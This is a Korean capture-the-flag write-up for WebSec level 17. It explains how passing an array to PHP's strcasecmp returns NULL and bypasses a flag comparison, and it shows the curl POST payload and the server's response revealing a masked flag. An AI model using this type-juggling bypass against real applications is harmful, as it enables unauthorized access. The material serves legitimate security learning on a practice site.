Websec - level 17
우리가 입력한 flag 값이 어째저째 만들어진 flag값과 같으면 flag를 표시해준다.
비교를 strcasecmp로 되어있는데
strcmp와 같은 문자열 비교해주는 함수이고 대소문자 구분하지 않는 기능이 있다.
strcmp와 똑같은 취약점이 있을 것 같아서 시도해보았다.
php5.3에서 strcmp에서 string과 Array를 비교하면 NULL값을 반환해준다.
php에서 !NULL는 true로 볼 수 있어서 Array값을 넣게되면 조건을 만족시켜준다.
post로 배열을 전달해주면
curl -d "flag[]=''" -X POST http://websec.fr/level17/index.php
<!DOCTYPE html>
<html>
<head>
<title>#WebSec Level Seventeen</title>
<link rel="stylesheet" href="../static/bootstrap.min.css" />
<meta http-equiv="content-type" content="text/html;charset=UTF-16">
</head>
<body>
<div id="main">
<div class="container">
<div class="row">
<h1>Level Seventeen <small> - Guessing is fun!</small></h1>
</div>
<div class="row">
<p class="lead">
Can you guess the flag? You can check the sources <a href="source.php">here</a>.
</p>
</div>
</div>
<div class="container">
<div class="row">
<form class="form-inline" method='post'>
<input name='flag' class='form-control' type='text' placeholder='Guessed flag'>
<input class="form-control btn btn-default" name="submit" value='Go' type='submit'>
</form>
</div>
</div>
<br>
<div class="container">
<div class="row">
<div class="alert alert-success">Here is your flag: <mark>WEBSEC{-답-}</mark>.</div> </div>
</div>
</div>
</body>
</html>
다음과 같이 답을 얻을 수 있다.★
'Web hacking > Websec' 카테고리의 다른 글
Websec - level 22 (0) | 2020.02.22 |
---|---|
Websec - level 14 (0) | 2020.02.19 |
Websec - level 4 (0) | 2020.01.05 |
Websec - level 2 (0) | 2019.12.30 |
Websec - level 1 (0) | 2019.12.30 |